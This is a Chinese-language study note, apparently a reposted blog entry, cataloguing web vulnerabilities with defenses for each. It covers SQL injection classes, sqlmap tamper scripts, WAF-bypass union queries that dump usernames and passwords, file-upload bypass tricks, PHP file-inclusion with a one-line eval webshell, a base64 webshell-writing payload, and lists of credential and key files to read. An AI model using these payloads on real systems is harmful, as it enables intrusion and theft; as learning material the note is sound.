文章目錄
- web中的常見漏洞
- 注入漏洞
- 檔案相關
- 資訊泄露
- 業務邏輯安全
- 中間件缺陷
- 服務器安全
- 前端漏洞
- sql注入漏洞
- sql注入分類
- 注入點分類
- 提交方式分類
- 攻擊方式分類
- 執行方式分類
- sql注入的繞過技巧
- 字符編碼
- 同等功能替換
- 內嵌注釋符符號
- 繞過云鎖
- SQL注入防御
- 檔案上傳漏洞
- 利用前提
- 檔案上傳代碼
- 檔案寫入
- 檔案解壓縮
- 檔案移動(重命名)
- 檔案拷貝
- 檔案上傳繞過
- 畸形資料包
- 小眾檔案后綴
- NTFS ADS
- 00截斷
- 檔案上傳防御
- 檔案包含漏洞
- 代碼&利用方法
- php偽協議
- 例子
- 檔案包含防御
- 任意檔案下載或讀取漏洞
- 攻擊利用點
- windows
- Linux
- 資料庫
- 其他
- 防御策略
web中的常見漏洞
注入漏洞
- SQL注入
- 命令注入
- 代碼注入
- 運算式注入
- XML外部物體注入
檔案相關
- 本地/遠程檔案包含
- 任意檔案上傳
- 任意檔案下載/讀取
資訊泄露
- .svn/.git源代碼泄露
- 組態檔、測驗檔案
- 應用介面暴露
- 備份檔案泄露
- 代碼托管平臺原始碼泄露
業務邏輯安全
- 用戶弱口令
- 用戶名/密碼列舉
- 越權漏洞
- 未授權訪問
- 驗證碼缺陷
- 短信轟炸
中間件缺陷
- jboss反序列化
- tomcat檔案包含
- weblogic反序列化
服務器安全
- 永恒之藍(MS17-010)
- 作業系統弱口令
- 本地權限提升
前端漏洞
- 跨站腳本攻擊(XSS)
- 跨站點偽造請求(CSRF)
sql注入漏洞
sql注入分類
注入點分類
-
數字型
- id=2’ 例外
- id=2-1 比較id=1
- id=2-0 比較頁面變化
-
字符型
- id=1’ 例外
- id=1’ and ‘a’='a 邏輯真
- id=1’ and ‘a’='b 邏輯假
-
搜索型
- id=1’ 例外
- id=1%’ –
空格正常 - id=1%’ and 1=1 and ‘%’=’ 邏輯真
- id=1%’ and 1=2 and ‘%’=’ 邏輯假
提交方式分類
- get注入
- post注入
- http注入
- cookie注入
攻擊方式分類
- 帶外注入
- 二次注入
- 寬位元組注入
執行方式分類
- 基于布爾型的盲注
- 基于時間的盲注
- 基于報錯的注入
- 聯合查詢注入
- 堆疊查詢注入
- 行內查詢注入
sql注入的繞過技巧
字符編碼
| tamper腳本 | 描述 |
|---|---|
| base64encode | base64編碼payload |
| chardoubleencode | 雙url編碼 |
| charencode | url編碼 |
| charunicodeencode | 使用Unicode編碼 |
| charunicodeescape | 使用Unicode編碼 |
| apostrophemask | 使用utf-8編碼字符',%EF%BC%87替換' |
| htmlencode | 使用HTML編碼payload |
| apostrophennullencode | 使用%00%27替換' |
| overlongutf8 | 對非字符數字進行utf-8編碼 |
| overlongutf8moremore | 對所有payload進行utf-8編碼 |
同等功能替換
| tamper腳本 | 描述 |
|---|---|
| between | 使用BETWEEN實作>和=功能 |
| commalesslimit | LIMIT N OFFSET M替換LIMIT M,N,繞過逗號過濾 |
| commalessmid | MID(A FROM B FOR C)替換MID(A,B,C),繞過逗號過濾 |
| concat2concatws | 使用caoncat_ws函式替換concat函式 |
| equaltolike | 使用LIKE替換= |
| greatest | 使用GREATEST函式實作>功能,1 AND A>B轉換為1 AND GREATEST(A,B+1)=A |
| least | 使用LEAST函式實作>功能,1 AND A>B轉換為1 AND LEAST(A,B+1)=B+1 |
| ifnul2ifisnull | 使用IF(ISNULL(A),B,A)替換IFNULL(A,B) |
| ifnull2casewhenisnull | 使用CASE WHEN SINULL(A) THEN (B) ELSE (A) END替換IFNULL(A,B) |
| symboliclogical | 使用&&和’ |
內嵌注釋符符號
| tamper腳本 | 描述 |
|---|---|
| commentbeforeparentheses | 在括號前添加注釋符/**/,如ABS()變成ABS/**/() |
| space2comment | 使用注釋符/**/替換空格,SELECT ID FROM USERS轉換為SELECT/**/ID/**/FROM/**/USERS |
| space2dash | 使用注釋符--替換空格 |
| space2hash | 使用注釋符#替換空格 |
| space2morecomment | SELECT ID FROM USERS轉換為SELECT/**_**/ID/**_**/FROM/**_**/USERS |
| randomcomments | 隨機插入注釋符/**/,如INSERT轉換為INS/**/E/**/RT |
| versionedkeywords | 使用MySQL特有注釋符/*!*/,保留關鍵字,在MySQL中/*!內容*/表示內容在MySQL中才執行,其他資料庫不會執行 |
| versionedmorekeywords | 使用MySQL特有注釋符/*!*/,保留更多關鍵字 |
繞過云鎖
?id=-1%20union/!99999aaaa/select%201,2,3
?id=-1%20union/!99999aaaa/select%201,database/!99999aaaa/(),3 database被過濾
?id=-1%20union/!99999aaaa/select%20–1,(select%20group_concat(table_name)from%20information_schema.tables),3 select… from被過濾
?id=-1%20union/!99999aaaa/select%20–1,(select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema=database()),3 爆表名
?id=111%20union/!99999aaaa/select%20–1,(select%20group_concat(column_name)from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27users%27),3 爆欄位
?id=-1%20union/!99999aaaa/select%20–1,(select%20group_concat(concat(username,%27~%27,password))from%20security.users),3 查資料
SQL注入防御
- sql預編譯
- 后端服務對接受的引數進行合法性驗證,如匹配特定的引數型別
- 嚴格過濾SQL陳述句中的關鍵字和特殊符號
檔案上傳漏洞
利用前提
- 引數可控:檔案名,檔案內容,[檔案路徑]
- 上傳檔案位于服務器可決議腳本的web目錄
- 可直接或間接獲取上傳檔案的絕對路徑或相對路徑
檔案上傳代碼
檔案寫入
Java Native
- FileOutputStream
- FileInputStream
- outputStream.write
SpringBoot
uploadFile.transferTo
檔案解壓縮
Java Native
ZipEntry
檔案移動(重命名)
Java Native
File renameto
檔案拷貝
Java Native
- FileChannel
- FileUtils.copyFile
- Files.copy
檔案上傳繞過
畸形資料包
- 畸形的請求頭欄位
- chunked
- 臟資料
小眾檔案后綴
| asp/aspx | .cer | .cdx | .asa | .asax | .ascx | .ashx | .asmx |
|---|---|---|---|---|---|---|---|
| php | .phtml | .php4 | .phpt | .php5 | .php7 | .phps | .php3 |
| jsp | .jsw | .jsv | .jspx | .jspa | .jspf | .jhtml |
NTFS ADS
- test.php:p.jpg 空檔案
- test.php::$INDEX_ALLOCATION 檔案夾
- test.php::$DATA 檔案
00截斷
在java中JKD1.7.0_40前的版本中若使用FileOutputStream實作檔案上傳功能的內容保存,可能導致00截斷,繞過黑名單、檔案上傳白名單檢測,之后的版本會對檔案路徑檢查,若檔案路徑有非法字符,則拋出例外Invalid file path
檔案上傳防御
- 使用白名單策略檢查檔案擴展名
- 上傳檔案的目錄禁止http請求直接訪問,如果需要訪問,要上傳到和web服務器不同的域名下,并設定該目錄不決議腳本
- 上傳檔案的檔案名和目錄名由系統根據時間生成,禁止用戶自定義
檔案包含漏洞
代碼&利用方法
<?php
$filename=$_GET['page'];
include($filename);#如果包含出錯,只會警告,不影響后續陳述句執行
//檔案包含函式
#require()#如果包含出錯,提出致命錯誤,不執行后門陳述句
#require_once()
#include_once()
//檔案操作函式
#file()
#fopen()
#readfile()
//檔案內容操作函式
#file_get_contents()
#file_put_contents()
?>
- 通過
GET /<?php @eval($_REQUEST['cmd']);?> HTTP/1.1請求服務器后,會在服務器日志中留下記錄,如果服務器日志為默認路徑可以通過?page=/var/log/error.log來getshell - 將一句話木馬打包成zip格式后,重命名為phpinfo.jpg,上傳到服務器images目錄后,通過
file=phar://./images/phpinfo.jpg/getshell.php來getshell
#遠程檔案包含需要php.ini中設定如下
allow_url_fopen=On
allow_url_include=On
php偽協議
file://訪問作業系統本地檔案的檔案系統file:///etc/passwd、file://C:\Windows\system.inihttp://訪問http(s)協議的url?page=http://file.local.com/LFI/phpinfo.txtftp://訪問ftp(s)協議的url?page=ftp://user:pass@ftp.local.com/phpinfo.txtphp://訪問各個I/O流php://filer php://inputzlib://、zip://壓縮流協議zip://壓縮包絕對路徑#壓縮檔案內的子檔案名data://資料流協議data://text/plain;base64,YWJjZA==glob://php自帶的檔案目錄管理協議,查找匹配的檔案路徑模式phar://php歸檔(解壓)協議phar://壓縮包/壓縮檔案內的子檔案名
例子
<?php
$filename=$_REQUEST['file'];
$file_contents=file_get_contents($filename);
echo $file_contents;
?>
- 用
file=php://filter/read=/resource=../config.php來讀取檔案 - 用
file=php://filter/read=convert.base64-encode/resource=../config.php來讀取base64編碼后的檔案
<?php
$filename=$_REQUEST['file'];
$txt=$_GET['txt'];
file_put_contents($filename,$txt);
?>
- 用
file=php://filter/write=convert.base64-encode/resource=../info.php&txt=PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk7Pz4=來將<?php @eval($_REQUEST['cmd']);?>base64編碼后的內容寫入info.php
檔案包含防御
- 保證引數用戶不可控、不可構造
- 對引數判斷,過濾
'.','..','/','\'字符,同時使用basename()函式處理引數 - 避免使用動態包含,在需要包含的頁面中對所有變數初始化
任意檔案下載或讀取漏洞
攻擊利用點
windows
- C:\Windows\sytem32\winevt\Logs
- C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
- C:\Windows\sytem32\inetstr\config\applicationHost.config
- C:\WINNT\system32\inetsrv\MetaBase.bin
- C:\Users\Administrator\AppData\Local\Everything\Everything.db
Linux
- /etc/passwd
- /etc/shadow
- /proc/version
- /etc/issue
- /root/.ssh/id_rsa
- /root/.ssh/known_hosts
- /var/log/secure
- /var/lib/mlocate/mlocate.db
- /etc/rc.local
- /proc/self/environ
- /root/.viminfo
- /root/.bash_history
- /proc/net/arp
資料庫
- /home/mysql/.mysql_history
- /etc/mysql/conf.d/mysql.cnf
- /etc/redis/redis.conf
- /var/redis/log
- /var/lib/pgsql/9.6/data/postgresql.conf
- /var/lib/pgsql/9.6/data
其他
- config.php
- web.config
- web.xml
- jdbc.properties
- webroot.war
- webroot.zip
防御策略
- 對引數過濾,過濾
'.','..','/',''字符 - 限定檔案訪問范圍,如php.ini配置open_basedir為指定目錄
- 對于下載檔案的目錄做好限制,只能下載指定目錄下的檔案,或者將要下載的檔案存入資料庫,附件下載時指定資料庫中的id即可
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/297420.html
標籤:其他
上一篇:ms14_064_ole_code_execution漏洞復現
下一篇:檔案管理基礎命令之一實驗
